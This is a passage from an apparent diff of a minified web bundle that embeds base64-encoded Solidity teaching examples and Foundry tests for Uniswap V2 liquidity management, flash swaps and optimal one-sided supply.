zIGVtcHR5IG9yIHRydWUuCiAgICAgKi8KICAgIGZ1bmN0aW9uIHNhZmVBcHByb3ZlKElFUkMyMCB0b2tlbiwgYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBpbnRlcm5hbAogICAgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC5hcHByb3ZlLCAoc3BlbmRlciwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJBcHByb3ZlIGZhaWwiCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQyNTYgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV2LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0CiAgICAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12Mi1hZGQtcmVtb3ZlLWxpcXVpZGl0eS9Vbmlzd2FwVjJMaXF1aWRpdHkuc29sIjsKCklFUkMyMCBjb25zdGFudCBXRVRIID0gSUVSQzIwKDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMik7CklFUkMyMCBjb25zdGFudCBVU0RUID0gSUVSQzIwKDB4ZEFDMTdGOTU4RDJlZTUyM2EyMjA2MjA2OTk0NTk3QzEzRDgzMWVjNyk7CklFUkMyMCBjb25zdGFudCBQQUlSID0gSUVSQzIwKDB4MGQ0YTExZDVFRWFhQzI4RUMzRjYxZDEwMGRhRjRkNDA0NzFmMTg1Mik7Cgpjb250cmFjdCBVbmlzd2FwVjJBZGRMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgVW5pc3dhcFYyQWRkTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkFkZExpcXVpZGl0eSgpOwoKICAgIC8vICBBZGQgV0VUSC9VU0RUIExpcXVpZGl0eSB0byBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0QWRkTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIHRlc3QgVVNEVCBhbmQgV0VUSCB0byB0aGlzIGNvbnRyYWN0CiAgICAgICAgZGVhbChhZGRyZXNzKFVTRFQpLCBhZGRyZXNzKHRoaXMpLCAxZTYgKiAxZTYpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBVU0RULmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgMWU2ICogMWU2LCAiVVNEVCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwogICAgICAgIGRlYWwoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWUxOCk7CiAgICAgICAgYXNzZXJ0RXEoCiAgICAgICAgICAgIFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCAxZTYgKiAxZTE4LCAiV0VUSCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwoKICAgICAgICAvLyBBcHByb3ZlIHVuaSBmb3IgdHJhbnNmZXJyaW5nCiAgICAgICAgc2FmZUFwcHJvdmUoV0VUSCwgYWRkcmVzcyh1bmkpLCAxZTY0KTsKICAgICAgICBzYWZlQXBwcm92ZShVU0RULCBhZGRyZXNzKHVuaSksIDFlNjQpOwoKICAgICAgICB1bmkuYWRkTGlxdWlkaXR5KGFkZHJlc3MoV0VUSCksIGFkZHJlc3MoVVNEVCksIDEgKiAxZTE4LCAzMDAwLjA1ICogMWU2KTsKCiAgICAgICAgYXNzZXJ0R3QoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgInBhaXIgYmFsYW5jZSAwIik7CiAgICB9CgogICAgLy8gUmVtb3ZlIFdFVEgvVVNEVCBMaXF1aWRpdHkgZnJvbSBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0UmVtb3ZlTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIExQIHRva2VucyB0byB1bmkKICAgICAgICBkZWFsKGFkZHJlc3MoUEFJUiksIGFkZHJlc3ModW5pKSwgMWUxMCk7CiAgICAgICAgYXNzZXJ0RXEoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMWUxMCwgIkxQIHRva2VucyBiYWxhbmNlID0gMCIpOwogICAgICAgIGFzc2VydEVxKFVTRFQuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJVU0RUIGJhbGFuY2Ugbm9uLXplcm8iKTsKICAgICAgICBhc3NlcnRFcShXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlIG5vbi16ZXJvIik7CgogICAgICAgIHVuaS5yZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyhVU0RUKSk7CgogICAgICAgIGFzc2VydEVxKFBBSVIuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJMUCB0b2tlbnMgYmFsYW5jZSAhPSAwIik7CiAgICAgICAgYXNzZXJ0R3QoVVNEVC5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIlVTRFQgYmFsYW5jZSA9IDAiKTsKICAgICAgICBhc3NlcnRHdChXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgdHJhbnNmZXJGcm9tIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgaW50ZXJuYWwgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC50cmFuc2ZlckZyb20sIChzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJUcmFuc2ZlciBmcm9tIGZhaWwiCiAgICAgICAgKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBkZXYgVGhlIGFwcHJvdmUgZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlQXBwcm92ZShJRVJDMjAgdG9rZW4sIGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],Um=`

                    Add / Remove Liquidity

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6023,7 +6023,7 @@ IERC20 constant PAIR Uniswap V2 Flash Swap Example
+
                    `,_m=({prev:s,next:a})=>r.jsx(A,{version:Dm,title:Em,description:Qm,html:Um,prev:s,next:a,codes:Tm}),Lm="0.8.24",Om="Uniswap V2 Flash Swap",Pm="Uniswap V2 flash swap",$m=[{fileName:"UniswapV2FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJVW5pc3dhcFYyQ2FsbGVlIHsKICAgIGZ1bmN0aW9uIHVuaXN3YXBWMkNhbGwoCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgdWludDI1NiBhbW91bnQwLAogICAgICAgIHVpbnQyNTYgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXAgaXMgSVVuaXN3YXBWMkNhbGxlZSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9GQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CgogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIElVbmlzd2FwVjJGYWN0b3J5IHByaXZhdGUgY29uc3RhbnQgZmFjdG9yeSA9CiAgICAgICAgSVVuaXN3YXBWMkZhY3RvcnkoVU5JU1dBUF9WMl9GQUNUT1JZKTsKCiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwoKICAgIElVbmlzd2FwVjJQYWlyIHByaXZhdGUgaW1tdXRhYmxlIHBhaXI7CgogICAgLy8gRm9yIHRoaXMgZXhhbXBsZSwgc3RvcmUgdGhlIGFtb3VudCB0byByZXBheQogICAgdWludDI1NiBwdWJsaWMgYW1vdW50VG9SZXBheTsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBwYWlyID0gSVVuaXN3YXBWMlBhaXIoZmFjdG9yeS5nZXRQYWlyKERBSSwgV0VUSCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZsYXNoU3dhcCh1aW50MjU2IHdldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICAvLyBOZWVkIHRvIHBhc3Mgc29tZSBkYXRhIHRvIHRyaWdnZXIgdW5pc3dhcFYyQ2FsbAogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZShXRVRILCBtc2cuc2VuZGVyKTsKCiAgICAgICAgLy8gYW1vdW50ME91dCBpcyBEQUksIGFtb3VudDFPdXQgaXMgV0VUSAogICAgICAgIHBhaXIuc3dhcCgwLCB3ZXRoQW1vdW50LCBhZGRyZXNzKHRoaXMpLCBkYXRhKTsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCBieSB0aGUgREFJL1dFVEggcGFpciBjb250cmFjdAogICAgZnVuY3Rpb24gdW5pc3dhcFYyQ2FsbCgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgdWludDI1NiBhbW91bnQxLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBhZGRyZXNzKHBhaXIpLCAibm90IHBhaXIiKTsKICAgICAgICByZXF1aXJlKHNlbmRlciA9PSBhZGRyZXNzKHRoaXMpLCAibm90IHNlbmRlciIpOwoKICAgICAgICAoYWRkcmVzcyB0b2tlbkJvcnJvdywgYWRkcmVzcyBjYWxsZXIpID0KICAgICAgICAgICAgYWJpLmRlY29kZShkYXRhLCAoYWRkcmVzcywgYWRkcmVzcykpOwoKICAgICAgICAvLyBZb3VyIGN1c3RvbSBjb2RlIHdvdWxkIGdvIGhlcmUuIEZvciBleGFtcGxlLCBjb2RlIHRvIGFyYml0cmFnZS4KICAgICAgICByZXF1aXJlKHRva2VuQm9ycm93ID09IFdFVEgsICJ0b2tlbiBib3Jyb3cgIT0gV0VUSCIpOwoKICAgICAgICAvLyBhYm91dCAwLjMlIGZlZSwgKzEgdG8gcm91bmQgdXAKICAgICAgICB1aW50MjU2IGZlZSA9IChhbW91bnQxICogMykgLyA5OTcgKyAxOwogICAgICAgIGFtb3VudFRvUmVwYXkgPSBhbW91bnQxICsgZmVlOwoKICAgICAgICAvLyBUcmFuc2ZlciBmbGFzaCBzd2FwIGZlZSBmcm9tIGNhbGxlcgogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKGNhbGxlciwgYWRkcmVzcyh0aGlzKSwgZmVlKTsKCiAgICAgICAgLy8gUmVwYXkKICAgICAgICB3ZXRoLnRyYW5zZmVyKGFkZHJlc3MocGFpciksIGFtb3VudFRvUmVwYXkpOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlBhaXIgewogICAgZnVuY3Rpb24gc3dhcCgKICAgICAgICB1aW50MjU2IGFtb3VudDBPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnQxT3V0LAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV2FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS91bmlzd2FwLXYyLWZsYXNoLXN3YXAvVW5pc3dhcFYyRmxhc2hTd2FwLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXBUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CgogICAgVW5pc3dhcFYyRmxhc2hTd2FwIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkZsYXNoU3dhcCgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgZnVuY3Rpb24gdGVzdEZsYXNoU3dhcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIC8vIEFwcHJvdmUgZmxhc2ggc3dhcCBmZWUKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRUb0JvcnJvdyA9IDEwICogMWUxODsKICAgICAgICB1bmkuZmxhc2hTd2FwKGFtb3VudFRvQm9ycm93KTsKCiAgICAgICAgYXNzZXJ0R3QodW5pLmFtb3VudFRvUmVwYXkoKSwgYW1vdW50VG9Cb3Jyb3cpOwogICAgfQp9Cg=="}],qm=`

                    Uniswap V2 Flash Swap Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6161,7 +6161,7 @@ IERC20 constant PAIR Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,ab=({prev:s,next:a})=>r.jsx(A,{version:Om,title:Pm,description:$m,html:sb,prev:s,next:a,codes:qm}),nb="0.8.24",lb="Uniswap V2 Optimal One Sided Supply",pb="Uniswap V2 Optimal One Sided Supply",eb=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgLyoKICAgIHMgPSBvcHRpbWFsIHN3YXAgYW1vdW50CiAgICByID0gYW1vdW50IG9mIHJlc2VydmUgZm9yIHRva2VuIGEKICAgIGEgPSBhbW91bnQgb2YgdG9rZW4gYSB0aGUgdXNlciBjdXJyZW50bHkgaGFzIChub3QgYWRkZWQgdG8gcmVzZXJ2ZSB5ZXQpCiAgICBmID0gc3dhcCBmZWUgcGVyY2VudAogICAgcyA9IChzcXJ0KCgoMiAtIGYpcileMiArIDQoMSAtIGYpYXIpIC0gKDIgLSBmKXIpIC8gKDIoMSAtIGYpKQogICAgKi8KICAgIGZ1bmN0aW9uIGdldFN3YXBBbW91bnQodWludDI1NiByLCB1aW50MjU2IGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQyNTYgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoKICAgICAgICBJRVJDMjAoX3Rva2VuQSkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKCiAgICAgICAgYWRkcmVzcyBwYWlyID0gSVVuaXN3YXBWMkZhY3RvcnkoRkFDVE9SWSkuZ2V0UGFpcihfdG9rZW5BLCBfdG9rZW5CKTsKICAgICAgICAodWludDI1NiByZXNlcnZlMCwgdWludDI1NiByZXNlcnZlMSwpID0KICAgICAgICAgICAgSVVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKCiAgICAgICAgdWludDI1NiBzd2FwQW1vdW50OwogICAgICAgIGlmIChJVW5pc3dhcFYyUGFpcihwYWlyKS50b2tlbjAoKSA9PSBfdG9rZW5BKSB7CiAgICAgICAgICAgIC8vIHN3YXAgZnJvbSB0b2tlbjAgdG8gdG9rZW4xCiAgICAgICAgICAgIHN3YXBBbW91bnQgPSBnZXRTd2FwQW1vdW50KHJlc2VydmUwLCBfYW1vdW50QSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gc3dhcCBmcm9tIHRva2VuMSB0byB0b2tlbjAKICAgICAgICAgICAgc3dhcEFtb3VudCA9IGdldFN3YXBBbW91bnQocmVzZXJ2ZTEsIF9hbW91bnRBKTsKICAgICAgICB9CgogICAgICAgIF9zd2FwKF90b2tlbkEsIF90b2tlbkIsIHN3YXBBbW91bnQpOwogICAgICAgIF9hZGRMaXF1aWRpdHkoX3Rva2VuQSwgX3Rva2VuQik7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoYWRkcmVzcyBfZnJvbSwgYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgaW50ZXJuYWwgewogICAgICAgIElFUkMyMChfZnJvbSkuYXBwcm92ZShST1VURVIsIF9hbW91bnQpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBfZnJvbTsKICAgICAgICBwYXRoWzFdID0gX3RvOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBfYW1vdW50LCAxLCBwYXRoLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9hZGRMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGludGVybmFsIHsKICAgICAgICB1aW50MjU2IGJhbEEgPSBJRVJDMjAoX3Rva2VuQSkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsQiA9IElFUkMyMChfdG9rZW5CKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkEpLmFwcHJvdmUoUk9VVEVSLCBiYWxBKTsKICAgICAgICBJRVJDMjAoX3Rva2VuQikuYXBwcm92ZShST1VURVIsIGJhbEIpOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuYWRkTGlxdWlkaXR5KAogIC